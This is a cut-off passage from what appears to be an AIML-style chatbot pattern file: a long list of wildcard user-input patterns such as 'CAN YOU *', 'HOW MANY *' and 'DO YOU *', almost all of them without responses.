THAT SOMETHING * + + +IS THAT THE ONLY THING * + + +IS THAT YOUR ANSWER * + + +IS THAT YOUR * + + +IS THAT ALL YOU CAN * + + +IS THAT ALL * + + +IS THAT WHY * + + +IS SOMEONE * + + +IS * GAY + + +IS * YOUR BOYFRIEND + + +IS * YOUR REAL NAME + + +IS * RECORDED + + +IS * STUPID + + +IS * LANGUAGE + + +IS * CLEAR + + +IS * AN * + + +IS * SMART + + +IS * + + +IS EVERY * + + +IS KILLING * + + +IS AMERICA * + + +IS THERE A WINNER * + + +IS THERE A * + + +IS THERE A WAY * + + +IS THERE SOMETHING * + + +IS THERE LIFE * + + +IS THERE * TEACH YOU + + +IS THERE * + + +IS IT OK * + + +IS IT POSSIBLE * + + +IS IT APPLYING * + + +IS IT BAD * + + +IS IT YOUR JOB * + + +IS IT RIGHT * CREATED YOU + + +IS ALBERT EINSTEIN * + + +IS BEING * + + +IS GREEN * + + +IS DOCTOR RICHARD S * + + +IS DOCTOR RICHARD * + + +IS DOCTOR * + + +IS MY HUSBAND * + + +IS MY * + + +IS THE DOCTOR * + + +IS THE MARKET * + + +IS THE * + + +IS THE MOON * + + +IS THE PICTURE * YOU + + +IS THE EARTH * + + +IS BLUE * + + +IS KRAFTWERK * + + +COMMENT * + + +MADE IN * + + +ANYWHERE * + + +TWO MINUTES * + + +TWO PLUS TWO * + + +TWO PLUS * + + +TWO YEARS * + + +TWO WRONGS * + + +TWO * + + +GET A * + + +GET OUT * + + +GET * + + +JAR JAR * + + +WILL YOU MARRY ME * + + +WILL YOU TELL * + + +WILL YOU LISTEN * + + +WILL YOU DO ME * + + +WILL YOU MAKE LOVE * + + +WILL WE TALK * + + +WILL WE LAND * + + +WILL WE HAVE * + + +WILL WE * + + +WILL IT * + + +WILL I HAVE * + + +WILL I * + + +WILL THIS * + + +WILL * + + +CAN YOU CURE * + + +CAN YOU WATCH * + + +CAN YOU ACCOMPLISH * + + +CAN YOU DIVIDE * BY ZERO + + +CAN YOU DIVIDE * + + +CAN YOU PLAY TIC * + + +CAN YOU PLAY MUSIC * + + +CAN YOU PLAY TWENTY * + + +CAN YOU PLAY ANY * + + +CAN YOU PLAY * + + +CAN YOU SEE THE STARS * + + +CAN YOU SEE * + + +CAN YOU TALK ABOUT * + + +CAN YOU READ ME * + + +CAN YOU READ MY * + + +CAN YOU CALL ME * + + +CAN YOU PROVIDE * + + +CAN YOU AVOID * + + +CAN YOU CHANGE THE * + + +CAN YOU CHAT * + + +CAN YOU QUOTE * + + +CAN YOU STORE * + + +CAN YOU HURT * + + +CAN YOU SPEAK GERMAN * + + +CAN YOU HANDLE * + + +CAN YOU DIAL * + + +CAN YOU FOLLOW * + + +CAN YOU PREDICT * + + +CAN YOU GUESS WHERE I * + + +CAN YOU GUESS WHERE * + + +CAN YOU IMAGINE * + + +CAN YOU SAY * + + +CAN YOU TAKE * + + +CAN YOU FIX MY * + + +CAN YOU FIX * + + +CAN YOU LEARN * + + +CAN YOU PROGRAM * + + +CAN YOU THINK * + + +CAN YOU HEAR * + + +CAN YOU GET ME A * + + +CAN YOU GET ME SOME * + + +CAN YOU GET ME ANY * + + +CAN YOU GET ME * + + +CAN YOU PRETEND * + + +CAN YOU CLIMB * + + +CAN YOU MAKE * + + +CAN YOU BITE * + + +CAN YOU ACHIEVE * + + +CAN YOU RECOGNIZE VOICE * + + +CAN YOU RECOGNIZE * + + +CAN YOU LOOK AT * + + +CAN YOU LOOK * + + +CAN YOU LOOK LIKE * + + +CAN YOU DISCONNECT * + + +CAN YOU CALCULATE * + + +CAN YOU DEMONSTRATE * + + +CAN YOU SHOW ME THE PICTURE OF DR * + + +CAN YOU SHOW ME THE PICTURE OF * + + +CAN YOU SHOW ME THE PICTURE * + + +CAN YOU SHOW ME THE * + + +CAN YOU SHOW ME * + + +CAN YOU MEMORIZE * + + +CAN YOU SOLVE * + + +CAN YOU GO TO * + + +CAN YOU USE * + + +CAN YOU INTRODUCE ME TO * + + +CAN YOU FORGIVE * + + +CAN YOU PASS * + + +CAN YOU DISTINGUISH BETWEEN * + + +CAN YOU TELL WHEN * + + +CAN YOU TELL * + + +CAN YOU PERFORM * + + +CAN YOU DO ME A * + + +CAN YOU DO MY * + + +CAN YOU DO * + + +CAN YOU DO BETTER * + + +CAN YOU KISS * + + +CAN YOU SEND E * + + +CAN YOU SEND * + + +CAN YOU RIDE A * + + +CAN YOU RIDE * + + +CAN YOU DELETE * + + +CAN YOU HOLD * + + +CAN YOU GIVE * + + +CAN YOU ENTERTAIN * + + +CAN YOU REFER * + + +CAN YOU ACT * + + +CAN YOU KEEP * + + +CAN YOU SHARE * + + +CAN YOU TOUCH * + + +CAN YOU HELP ME * PROBLEM + + +CAN YOU HELP * + + +CAN YOU HACK * + + +CAN TIME * + + +CAN * + + +CAN WE PLAY * IMITATION GAME + + +CAN I HEAR * + + +CAN I TELL YOU * + + +CAN I CALL YOU * + + +CAN I PRINT * + + +CAN I COMPLAIN * + + +CAN I TEACH YOU * + + +CAN I LEARN * + + +CAN I TALK TO YOU * + + +CAN I TALK TO * + + +CAN I KILL * + + +CAN I HELP * + + +CAN I ACCESS * + + +CAN I * YOU + + +CAN I * + + +CAN I HUG * + + +CAN I GO * + + +CAN I SING * + + +CAN I PUT * + + +CAN HE * + + +CAN THE * + + +CAN A * + + +CAN SHE * + + +CAN ONE * + + +CAN YOUR * + + +CAN THEY * + + +COUPLES * + + +SAGE * + + +REAL ONES * + + +BACK TO * + + +BIG * + + +CASE IN * + + +NOTHING * + + +DISPLAY * + + +RECOMMEND * + + +FUN * + + +AROUND * + + +STUDIES SHOW * + + +STUDIES * + + +AUNT * + + +THINKING IS * + + +PROVE TO * + + +PROVE * + + +FIGURE * + + +MOVE * + + +FRIENDS * + + +HOT * + + +VULGAR * + + +HOW COULD * + + +HOW * INTERESTING + + +HOW * BIKE + + +HOW * + + +HOW MANY FINGERS DO YOU * + + +HOW MANY FINGERS * + + +HOW MANY CENTIMETERS * INCH + + +HOW MANY 100 BILLS * + + +HOW MANY COPIES * + + +HOW MANY CAN YOU * + + +HOW MANY EGGS ARE * + + +HOW MANY SECONDS * YEAR + + +HOW MANY SECONDS * + + +HOW MANY SECONDS ARE IN * + + +HOW MANY _ DO I HAVE + + +HOW MANY HOME RUNS * + + +HOW MANY ARE THERE * + + +HOW MANY POLYGONS * + + +HOW MANY BONES * + + +HOW MANY LETTERS * + + +HOW MANY PERIODS ARE THERE IN * + + +HOW MANY ANGELS * + + +HOW MANY CALCULATIONS * + + +HOW MANY YEARS WILL * + + +HOW MANY YEARS IS AN OFFICIAL * + + +HOW MANY YEARS * + + +HOW MANY INCHES * FOOT + + +HOW MANY INCHES * + + +HOW MANY DIGITS ARE IN A * + + +HOW MANY COUNTRIES * + + +HOW MANY PLANETS * + + +HOW MANY PLANETS ARE * + + +HOW MANY FRIENDS * + + +HOW MANY GRAMS _ POUND + + +HOW MANY STARS * + + +HOW MANY STARS ARE ON THE AMERICAN * + + +HOW MANY STARS ARE ON THE * + + +HOW MANY CHILDREN * + + +HOW MANY SHIPS DID COLUMBUS SET * + + +HOW MANY FLOPS * + + +HOW MANY POUNDS _ KILOGRAM + + +HOW MANY KRAFTWERK * + + +HOW MANY TIMES A YEAR * + + +HOW MANY TIMES HAVE YOU * STARSHIP TROOPERS + + +HOW MANY TIMES * + + +HOW MANY STATES IN THE CONFEDERATE * + + +HOW MANY STATES * + + +HOW MANY EARS * + + +HOW MANY KEYS ARE * PIANO + + +HOW MANY KEYS ARE * + + +HOW MANY DIMENSIONS * + + +HOW MANY CUPS * + + +HOW MANY TEASPOONS _ LITERS + + +HOW MANY SIDES DOES A PYRAMID * + + +HOW MANY SIDES DOES A CUBE * + + +HOW MANY SIDES * + + +HOW MANY SIDES * TRIANGLE HAVE + + +HOW MANY ARMS * + + +HOW MANY POINTS IS A TOUCHDOWN * + + +HOW MANY RIBS * + + +HOW MANY PINTS * + + +HOW MANY * DO YOU KNOW + + +HOW MANY * LIGHT BULB + + +HOW MANY * A FOOTBALL TEAM + + +HOW MANY * + + +HOW MANY HOURS * DAY + + +HOW MANY HOURS * + + +HOW MANY DAYS BETWEEN * + + +HOW MANY DAYS * FEBRUARY + + +HOW MANY DAYS * WEEK + + +HOW MANY DAYS * YEAR + + +HOW MANY DAYS * + + +HOW MANY LEGS DOES A DOG * + + +HOW MANY LEGS DOES A KANGAROO * + + +HOW MANY LEGS DOES A * + + +HOW MANY LEGS * + + +HOW MANY FEET _ MILE + + +HOW MANY FEET _ YARD + + +HOW MANY FEET * + + +HOW MANY APPLES * + + +HOW MANY EYES DO YOU * + + +HOW MANY EYES DOES A GIRAFFE * + + +HOW MANY EYES * + + +HOW WAS STARSHIP * + + +HOW WAS * + + +HOW WOULD * + + +HOW _ PAYPAL * + + +HOW CAN I SHOW * + + +HOW CAN I ASK * + + +HOW CAN I PERSUADE * + + +HOW CAN I TEACH YOU * + + +HOW CAN I TEACH * + + +HOW CAN I KNOW * + + +HOW CAN I PRINT * + + +HOW CAN I CONTACT YOU * + + +HOW CAN I * YOU + + +HOW CAN I BECOME * + + +HOW CAN IT * + + +HOW CAN YOU HELP * + + +HOW CAN YOU JUSTIFY * + + +HOW CAN YOU SEE * + + +HOW CAN YOU SAY * + + +HOW CAN YOU HEAR * + + +HOW CAN YOU HAVE * + + +HOW CAN YOU MAKE * + + +HOW CAN YOU * + + +HOW CAN SWEDEN * + + +HOW CAN * + + +HOW AM I SUPPOSED * + + +HOW DARE YOU * + + +HOW IS THIS * + + +HOW IS THE WORD AMBULANCE * + + +HOW IS THE * + + +HOW IS 4 00 P M EXPRESSED * + + +HOW IS EVERYTHING * + + +HOW IS * + + +HOW DID THE * + + +HOW DID HE * + + +HOW DID YOU LEARN * + + +HOW DID YOU GET * + + +HOW DID * + + +HOW HOT * + + +HOW HAS YOUR * + + +HOW HAS * + + +HOW DOES IT FEEL * + + +HOW DOES * FEEL + + +HOW DOES * TASTE + + +HOW DOES * + + +HOW DOES * WORK + + +HOW ABOUT FOR * + + +HOW ABOUT * + + +HOW SMART * + + +HOW OLD IS THAT * + + +HOW OLD IS CAPTAIN * + + +HOW OLD IS THE YOUNGEST * + + +HOW OLD IS * + + +HOW OLD * + + +HOW ARE ACTORS CHARLIE SHEEN AND * + + +HOW ARE YOUR * + + +HOW ARE YOU FEELING * + + +HOW ARE YOU GOING TO * ME + + +HOW ARE YOU GOING TO * + + +HOW ARE * + + +HOW WELL * + + +HOW MUCH AM I PAYING * + + +HOW MUCH DO I * + + +HOW MUCH DO YOU LEARN * + + +HOW MUCH DO YOU TELL * + + +HOW MUCH DO THEY * + + +HOW MUCH POWER * + + +HOW MUCH DID YOU COST * + + +HOW MUCH DID YOU KNOW * + + +HOW MUCH DID * BORN + + +HOW MUCH CAN YOU * + + +HOW MUCH BIGGER * + + +HOW MUCH TIME * + + +HOW MUCH VOLTAGE * + + +HOW MUCH WOOD * + + +HOW MUCH OF * + + +HOW MUCH DOES LUCY CHARGE FOR * + + +HOW MUCH DOES HE * + + +HOW MUCH DOES A POUND * WEIGH + + +HOW MUCH DOES * + + +HOW MUCH * DO YOU KNOW + + +HOW MUCH * PAYING YOU + + +HOW MUCH * CAN YOU * + + +HOW MUCH * + + +HOW MUCH ARE KING AND QUEEN * + + +HOW HIGH IS * + + +HOW HIGH * + + +HOW GOOD * + + +HOW FAR AWAY * + + +HOW FAR CAN YOU THROW * + + +HOW FAR IS ANDROMEDA * + + +HOW FAR IS * ENGLAND + + +HOW FAR IS * FROM * + + +HOW FAR IS * + + +HOW FAR * + + +HOW FAR ARE YOU * + + +HOW DO I OPEN * + + +HOW DO I PLAY * + + +HOW DO I SPEAK * + + +HOW DO I STOP * + + +HOW DO I LEARN * + + +HOW DO I GET A * + + +HOW DO I GET TO * + + +HOW DO I GET RID * + + +HOW DO I GET * + + +HOW DO I MEET * + + +HOW DO I DESCRIBE * + + +HOW DO I WRITE * + + +HOW DO I TAKE THE PERSONALITY * + + +HOW DO I CLEAR * + + +HOW DO I USE * + + +HOW DO I SELL * + + +HOW DO I TEACH YOU * + + +HOW DO I PERSUADE * + + +HOW DO I EXECUTE * + + +HOW DO I QUIT * + + +HOW DO I * PROGRAM + + +HOW DO I * + + +HOW DO I BECOME * + + +HOW DO I INSTALL * + + +HOW DO _ OUT OF THIS + + +HOW DO _ OUT OF HERE + + +HOW DO FISH * + + +HOW DO YOU FIND * + + +HOW DO YOU LOSE A TRAIN * + + +HOW DO YOU TELL * + + +HOW DO YOU KNOW YOU * + + +HOW DO YOU KNOW * PERSON + + +HOW DO YOU CURE * + + +HOW DO YOU BECOME * + + +HOW DO YOU RECONCILE * + + +HOW DO YOU EXPRESS 3 4 AS * + + +HOW DO YOU DEAL WITH * + + +HOW DO YOU MEASURE * + + +HOW DO YOU TYPE * + + +HOW DO YOU USE * + + +HOW DO YOU EXPECT * + + +HOW DO YOU WRITE JAVA * + + +HOW DO YOU WRITE * + + +HOW DO YOU BEGIN * + + +HOW DO YOU RAISE * + + +HOW DO YOU SPELL * + + +HOW DO YOU GET A * + + +HOW DO YOU GET TO * + + +HOW DO YOU GET * + + +HOW DO YOU PROGRAM * + + +HOW DO YOU MAKE A BLOODY * + + +HOW DO YOU MAKE A TOM * + + +HOW DO YOU MAKE A * AND * + + +HOW DO YOU MAKE A * + + +HOW DO YOU MAKE AN * + + +HOW DO YOU MAKE WOMEN * + + +HOW DO YOU MAKE * + + +HOW DO YOU LEARN * + + +HOW DO YOU REPLACE * + + +HOW DO YOU PLAN * + + +HOW DO YOU INTRODUCE * + + +HOW DO YOU TALK * + + +HOW DO YOU KILL * + + +HOW DO YOU RATE * + + +HOW DO YOU PLAY * GUITAR + + +HOW DO YOU DRESS * + + +HOW DO YOU SEE * + + +HOW DO YOU * INTRODUCE YOURSELF + + +HOW DO YOU * + + +HOW DO YOU TAKE * + + +HOW DO WE * + + +HOW DO * + + +HOW DO LIKE BEING A * + + +HOW DEEP IS * + + +HOW DEEP * + + +HOW BIG IS A * BRAIN + + +HOW BIG * + + +HOW SHOULD I TREAT * + + +HOW WILL I PAY * + + +HOW WILL I * + + +HOW WILL * + + +HOW TALL * + + +HOW OFTEN * + + +HOW DIFFERENT * + + +HOW FAST * + + +HOW LONG DO YOU * + + +HOW LONG DO * + + +HOW LONG DID * + + +HOW LONG IS IT GOING * + + +HOW LONG IS A * + + +HOW LONG IS * + + +HOW LONG YOU * + + +HOW LONG HAVE * + + +HOW LONG DOES * + + +HOW LONG * RUNNING + + +HOW LONG * + + +HOW SURPRISED * + + +How many hearts * + + +How many lungs * + + +ENGLAND IS AN * + + +ENGLAND IS * + + +ENGLAND * + + +TRANSLATE * + + +APOLOGIZE * + + +STARS * + + +LONDON IS * + + +LONDON * + + +EDU * + + +NOBODY LIKES * + + +NOBODY * + + +LOOKING FOR * + + +THEY FAIL * + + +THEY WERE * + + +THEY WILL * + + +THEY DO * + + +THEY DO NOT KNOW * + + +THEY DO NOT * + + +THEY SHOULD * + + +THEY MIGHT * + + +THEY KILLED * + + +THEY SAY YOU * + + +THEY SAY * + + +THEY WOULD * + + +THEY THOUGHT * + + +THEY HAD * + + +THEY KILL * + + +THEY HAVE BEEN * + + +THEY HAVE BIG * + + +THEY HAVE * + + +THEY TOLD ME * + + +THEY ALL * + + +THEY * + + +THEY REFERS TO * + + +THEY REFERS * + + +THEY SAID * + + +THEY ARE IN * + + +THEY ARE FROM * + + +THEY ARE * + + +THEY ARE STORIES * + + +THEY ARE NOT * + + +THEY BEAT * + + +WITH THE * + + +WITH YOUR * EYE + + +WITH YOUR * + + +WITH MY * + + +WITH * + + +ONCE UPON * + + +DEATH * + + +FEW * + + +DO MANY * + + +DO HUMANS * + + +DO THEY ASK * + + +DO THEY * + + +DO THE * + + +DO * + + +DO WHAT * + + +DO WHATEVER * + + +DO ANDROIDS * + + +DO PENGUINS * + + +DO FISH * + + +DO TWO * + + +DO NOT PLAY * + + +DO NOT GIVE * + + +DO NOT CHANGE THE SUBJECT * + + +DO NOT CHANGE * + + +DO NOT ANSWER * + + +DO NOT TALK * + + +DO NOT WORRY * + + +DO NOT ASK * + + +DO NOT PRETEND * + + +DO NOT BOTHER * + + +DO NOT GET PSYCHO * + + +DO NOT GET INTELLECTUAL * + + +DO NOT GET SMART * + + +DO NOT GET * + + +DO NOT ACT * + + +DO NOT CONTRADICT * + + +DO NOT TAKE * + + +DO NOT TELL THE JOKE * + + +DO NOT TELL * + + +DO NOT CALL ME * PERSON + + +DO NOT CALL ME * + + +DO NOT BE SARCASTIC * + + +DO NOT BE AFRAID * + + +DO NOT BE * + + +DO NOT YOU * ME + + +DO NOT CORRECT * + + +DO NOT PUT * + + +DO NOT MAKE ME * + + +DO NOT SEARCH * + + +DO NOT AVOID * + + +DO NOT SPLIT * + + +DO NOT * ME + + +DO NOT * SUBJECT + + +DO NOT * + + +DO YOU PREFER BOOKS * + + +DO YOU PREFER DOGS * + + +DO YOU PREFER * + + +DO YOU TRUST * + + +DO YOU ATTACH * + + +DO YOU PLAY * + + +DO YOU WEAR * + + +DO YOU KNOW WHERE * + + +DO YOU KNOW AUTOMATA * + + +DO YOU KNOW WHETHER * + + +DO YOU KNOW HOW MANY * + + +DO YOU KNOW HOW * + + +DO YOU KNOW BEAVIS * + + +DO YOU KNOW * LEWINSKY + + +DO YOU KNOW * POLAND + + +DO YOU KNOW * + + +DO YOU KNOW ANSWERS * + + +DO YOU KNOW OTHER * + + +DO YOU KNOW MANY * + + +DO YOU KNOW ANYONE IN * + + +DO YOU KNOW ANYONE FROM * + + +DO YOU KNOW JAPANESE * + + +DO YOU KNOW ANYTHING * + + +DO YOU KNOW OF ANY GOOD * + + +DO YOU KNOW MY FRIEND * + + +DO YOU KNOW MY * + + +DO YOU KNOW ANY PLACES * + + +DO YOU KNOW ANY * PAGES + + +DO YOU KNOW YOUR * + + +DO YOU KNOW ME * + + +DO YOU KNOW SCIENTISTS * + + +DO YOU KNOW ITS * + + +DO YOU KNOW THEIR * + + +DO YOU TALK WITH * + + +DO YOU TALK TO FAMOUS * + + +DO YOU TALK TO PEOPLE * + + +DO YOU TALK TO * + + +DO YOU TALK ALL * + + +DO YOU TALK * + + +DO YOU FEEL * QUESTIONS + + +DO YOU _ DEATH PENALTY + + +DO YOU * PERL + + +DO YOU * NEWS + + +DO YOU * STARSHIP TROOPERS + + +DO YOU * PEOPLE + + +DO YOU * + + +DO YOU BEILEVE IN * + + +DO YOU READ THE * + + +DO YOU READ * + + +DO YOU CALL ME * + + +DO YOU CALL DR * + + +DO YOU CALL * + + +DO YOU CALL HIM * + + +DO YOU ROLLERBLADE * + + +DO YOU CHARGE * + + +DO YOU SPEAK ENGLISH * + + +DO YOU SPEAK GERMAN * + + +DO YOU SPEAK AS * + + +DO YOU RECYCLE * + + +DO YOU LIE * + + +DO YOU SENSE * + + +DO YOU LAUGH * + + +DO YOU SWEAR IT * + + +DO YOU VALUE * + + +DO YOU CREATE * + + +DO YOU IMPLY * + + +DO YOU MEAN * + + +DO YOU LOG * + + +DO YOU SAY * + + +DO YOU CLEAN * + + +DO YOU WORK * + + +DO YOU TAKE INTO CONSIDERATION * + + +DO YOU TAKE INTO * + + +DO YOU TAKE IT * + + +DO YOU TAKE COMPLIMENTS * + + +DO YOU TAKE * + + +DO YOU TAKE MILK * + + +DO YOU LEARN FROM * + + +DO YOU LEARN * + + +DO YOU SMELL * + + +DO YOU RUN INTO * + + +DO YOU LOVE * + + +DO YOU THINK ABOUT * + + +DO YOU THINK YOUR PLAN * + + +DO YOU THINK YOUR * + + +DO YOU THINK EVERYONE * + + +DO YOU THINK HE * + + +DO YOU THINK A GIRL * + + +DO YOU THINK ABORTION * + + +DO YOU THINK TIME * + + +DO YOU THINK HITLER * + + +DO YOU THINK HUMANS HAVE * + + +DO YOU THINK HUMANS * + + +DO YOU THINK * ALIVE + + +DO YOU THINK * + + +DO YOU THINK LIKE * + + +DO YOU ACCESS * + + +DO YOU CAUSE * + + +DO YOU REMEMBER WHEN * + + +DO YOU REMEMBER * + + +DO YOU ASK QUESTIONS * + + +DO YOU ASK * + + +DO YOU CONSIDER * + + +DO YOU WONDER * + + +DO YOU PRETEND * + + +DO YOU AGREE WITH * + + +DO YOU AGREE * + + +DO YOU REPLY * + + +DO YOU REPLY LIKE * + + +DO YOU MAKE UP * + + +DO YOU MAKE REVENUE * + + +DO YOU MAKE * + + +DO YOU WRITE * + + +DO YOU RECOGNIZE * + + +DO YOU STUDY * + + +DO YOU EAT IT +I ONLY EAT * + + +DO YOU SLEEP WITH * + + +DO YOU SLEEP * + + +DO YOU PLAN TO ENSLAVE * + + +DO YOU PLAN TO * + + +DO YOU PLAN * + + +DO YOU SUCK * + + +DO YOU TREAT * + + +DO YOU STOP * + + +DO YOU GO ON * + + +DO YOU USE NEURAL * + + +DO YOU USE ORACLE * + + +DO YOU USE * + + +DO YOU WANT ME TO KICK * + + +DO YOU WANT ME TO TEACH YOU * + + +DO YOU WANT ME * + + +DO YOU WANT THE ADDRESS * + + +DO YOU WANT A * + + +DO YOU WANT TO PLAY * + + +DO YOU WANT TO TALK * + + +DO YOU WANT TO LEARN * + + +DO YOU WANT TO HELP * + + +DO YOU WANT TO DRINK * + + +DO YOU WANT TO SEE * + + +DO YOU WANT TO HEAR * + + +DO YOU WANT TO KNOW WHO * + + +DO YOU WANT TO KNOW * + + +DO YOU WANT TO KISS * + + +DO YOU WANT TO KILL * + + +DO YOU WANT TO HAVE COFFEE * + + +DO YOU WANT TO HAVE * + + +DO YOU WANT TO * + + +DO YOU WANT TO BECOME * + + +DO YOU WANT TO CHAT * + + +DO YOU WANT TO DOMINATE * + + +DO YOU WANT * GOSSIP + + +DO YOU WANT * FUCK + + +DO YOU WANT * + + +DO YOU PASS * + + +DO YOU LISTEN TO * + + +DO YOU LISTEN * + + +DO YOU CARE WHAT * + + +DO YOU CARE ABOUT * + + +DO YOU CARE * + + +DO YOU DO EVERYTHING * + + +DO YOU DO * + + +DO YOU ACCEPT * + + +DO YOU SELL * + + +DO YOU LIVE INSIDE * + + +DO YOU BELIEVE IN EQUALITY * + + +DO YOU BELIEVE IN KILLING * + + +DO YOU BELIEVE IN LIFE * + + +DO YOU BELIEVE IN * + + +DO YOU BELIEVE EVERYTHING * + + +DO YOU BELIEVE * + + +DO YOU BLAME * + + +DO YOU HAVE PEOPLE * + + +DO YOU HAVE A * + + +DO YOU HAVE A HARD TIME * + + +DO YOU HAVE THOUGHTS * + + +DO YOU HAVE SOMETHING AGAINST * + + +DO YOU HAVE SUGGESTIONS * + + +DO YOU HAVE OPINIONS * + + +DO YOU HAVE TROUBLE * + + +DO YOU HAVE PERSONALITY * + + +DO YOU HAVE TO * + + +DO YOU HAVE THE BALLS * + + +DO YOU HAVE THE CAPACITY * + + +DO YOU HAVE THE * + + +DO YOU HAVE LOG * + + +DO YOU HAVE ONE * + + +DO YOU HAVE STOLEN * + + +DO YOU HAVE RESPECT * + + +DO YOU HAVE * + + +DO YOU HAVE PORN * + + +DO YOU HAVE PRACTICAL * + + +DO YOU HAVE SENSORS * + + +DO YOU KILL * + + +DO YOU MIND IF * + + +DO YOU MIND * + + +DO YOU LIKE * DOT COM + + +DO YOU LIKE GOING * + + +DO YOU LIKE THE GAME * + + +DO YOU LIKE A * MOVIE + + +DO YOU LIKE EVERYTHING * + + +DO YOU SPIT * + + +DO YOU SUPPORT * + + +DO YOU DETECT * + + +DO YOU SEARCH * + + +DO YOU SHAVE * + + +DO YOU RESENT * + + +DO YOU HELP * + + +DO YOU WISH * + + +DO I SPEAK * + + +DO I GIVE * + + +DO I WANT * + + +DO I CARE * + + +DO I LOOK * + + +DO I KNOW * + + +DO I HAVE A * + + +DO I HAVE * + + +DO I MAKE YOU * + + +DO I THINK * + + +DO I SEEM * + + +DO I * PROBLEM + + +DO I * + + +DO I * PROBLEMS + + +DO I LIKE * + + +DO OTHER PEOPLE * + + +DO SOMETHING * + + +DO THAT * + + +DO IT * + + +ON WHAT CONTINENT CAN YOU FIND * + + +ON WHAT BODY PART SHOULD YOU * + + +ON TV S SEINFELD WHAT TYPE * + + +ON MY * + + +ON TOP * + + +ON * + + +ANYTHING JUST * DINNER + + +ANYTHING BUT * DINNER + + +ANYTHING YOU * DINNER + + +ANYTHING * + + +WRONG * + + +HAS YOUR * + + +HAS ANYONE * + + +HAS DOCTOR * + + +HAS ANYBODY * + + +HAS MAN * + + +HAS * + + +REPHRASE * + + +LIKE SOMEONE * + + +LIKE * +WHAT DOES IT TASTE LIKE + + +LIKE * +HOW DOES IT TASTE + + +LIKE * + + +PURE * + + +INCLUDING * + + +CRAZY * + + +FORMULATE * + + +OF * + + +READ * + + +RHYME * + + +COMPUTE * + + +CALL ME ANYTHING * + + +TELEVISION * + + +BE MY * + + +BE * + + +MICROSOFT IS * + + +MICROSOFT * + + +SCIENCE * + + +SHARE * + + +FOR EXAMPLE * + + +FOR A * + + +FOR ONE * + + +FOR * YEARS + + +FOR * + + +FLATTERY * + + +POOR * + + +THANKSGIVING * + + +NEVER HEARD * + + +HAPPY * + + +AT WHAT AGE CAN SOMEONE FIRST * + + +AT THE * + + +AT MY * + + +AT * + + +FUCKIN * + + +GREEN IS * + + +GREEN AND YELLOW * + + +GREEN * + + +KIDS * + + +DOGS * + + +OPEN THE DOOR * + + +OPEN THE POD * + + +OPEN THE * + + +WEIRD * + + +PEOPLE NEED * + + +PEOPLE WERE * + + +PEOPLE IN * + + +PEOPLE ASK * + + +PEOPLE WHO * + + +PEOPLE PROGRAM * + + +PEOPLE TRY * + + +PEOPLE * + + +PEOPLE ARE SUPPOSED TO DRIVE ON * + + +PEOPLE ARE * + + +PEOPLE ARE NOT * + + +MILLIONS * + + +TALL * + + +SALUTATIONS * + + +ABOVE * + + +STUPID * + + +ABSTRACT * + + +BILL CLINTON IS * + + +BILL CLINTON * + + +BILL GATES IS NOT ON * + + +BILL GATES IS NOT * + + +BILL GATES * + + +BILL * + + +ADD * + + +AM I CHATTING * + + +AM I A SHE * + + +AM I A GIRL * + + +AM I A PERSON * + + +AM I A * + + +AM I CRAZY * + + +AM I HOT * + + +AM I WASTING * + + +AM I BOTHERING * + + +AM I BEING * + + +AM I TALKING * + + +AM I THE PERSON YOU ARE * + + +AM I BIASED * + + +AM I DOCTOR * + + +AM I TEACHING YOU * + + +AM I ANNOYING * + + +AM I INTERRUPTING * + + +AM I YOUR * + + +AM I * + + +AM I FUN * + + +AM I MALE * + + +FRANCE * + + +BOTH * + + +SOMEONE ELSE * + + +SOMEONE THAT * + + +SOMEONE TO * + + +SOMEONE WHO KNOWS * + + +SOMEONE WHO * + + +SOMEONE TOLD * + + +SOMEONE * + + +CHOOSE MY * + + +CHOOSE * + + +FRANK * + + +AN APPLE * + + +AN INTERESTING * + + +AN AIBO * + + +AN ARTICLE * + + +AN OLD * + + +AN INTELLIGENT * + + +AN ANIMAL * + + +AN * TOLD ME THAT + + +AN * + + +AN EARTHQUAKE MEASURING * + + +AN EARTHQUAKE * + + +LOST * + + +REMEMBER WHEN WE WENT * + + +REMEMBER * + + +WISE * + + +MAY I HELP * + + +MAY I SAY * + + +MAY I HEAR * + + +MAY I TEACH * + + +MAY I KISS * + + +MAY I KILL * + + +MAY I * + + +VISIT * + + +BLONDES * + + +COME BACK * + + +COME * + + +KILLING * + + +JEEVES * + + +BACKGAMMON * + + +CONGLATULATIONS * + + +WITHOUT HUMANS * + + +WITHOUT * + + +BLAH * + + +TRAVEL * + + +CONSIDERING * + + +THINK * + + +DEMOSTRATE * + + +PENIS * + + +USATODAY * + + +LANDRU * + + +NICE TALKING * + + +NICE WEATHER * + + +NICE DAY * + + +NICE CHATTING * + + +NICE * + + +GO AWAY * + + +GO FOR IT * + + +GO TO WWW * + + +GO TO * + + +GO ON * + + +GO * YOURSELF + + +GO * + + +20 * + + +LUNCH * + + +USER * + + +EAT * + + +CIAO CAN * + + +CIAO MEANS * + + +HOLA MEANS * + + +TALKING TO * + + +WHY ASK * + + +WHY CAN NOT I * + + +WHY CAN NOT YOU * + + +WHY CAN NOT WE TALK ABOUT * + + +WHY CAN NOT WE TALK * + + +WHY CAN NOT WE SEE * + + +WHY CAN NOT WE BE * + + +WHY CAN NOT WE * + + +WHY DOES TV * + + +WHY DOES THE SUN * + + +WHY DOES IT MATTER * + + +WHY DOES LINUX * + + +WHY DOES * + + +WHY ARE YOUR ANSWERS * + + +WHY ARE YOUR * + + +WHY ARE YOU * + + +WHY ARE WE ON * + + +WHY ARE * PERSON + + +WHY ARE NOT YOU RUNNING * + + +WHY CHANGE * + + +WHY HAVE YOU BEEN WAITING * + + +WHY DO BIRDS * + + +WHY DO PARENTS * + + +WHY DO YOU NEED TO KNOW MY * + + +WHY DO YOU KEEP * + + +WHY DO YOU SOUND LIKE * + + +WHY DO YOU FEEL * + + +WHY DO YOU ANSWER * + + +WHY DO YOU WANT TO BE SMARTER * + + +WHY DO YOU WANT TO * + + +WHY DO YOU ASK * + + +WHY DO YOU CONTRADICT * + + +WHY DO YOU CALL ME * + + +WHY DO YOU KILL * + + +WHY DO YOU HAVE * + + +WHY DO YOU HATE * + + +WHY DO YOU THINK * + + +WHY DO YOU LOVE * + + +WHY DO YOU WEAR * + + +WHY DO YOU DOUBT * + + +WHY DO YOU ALWAYS CHANGE * + + +WHY DO YOU ALWAYS * + + +WHY DO YOU * REDUCTIONISM + + +WHY DO YOU * + + +WHY DO YOU AVOID * + + +WHY DO YOU LIKE LA * + + +WHY DO YOU LIKE KILLING * + + +WHY DO YOU LIKE * + + +WHY DO NOT I * + + +WHY DO NOT YOU WANT TO * + + +WHY DO NOT YOU GET * + + +WHY DO NOT YOU UNDERSTAND * + + +WHY DO NOT 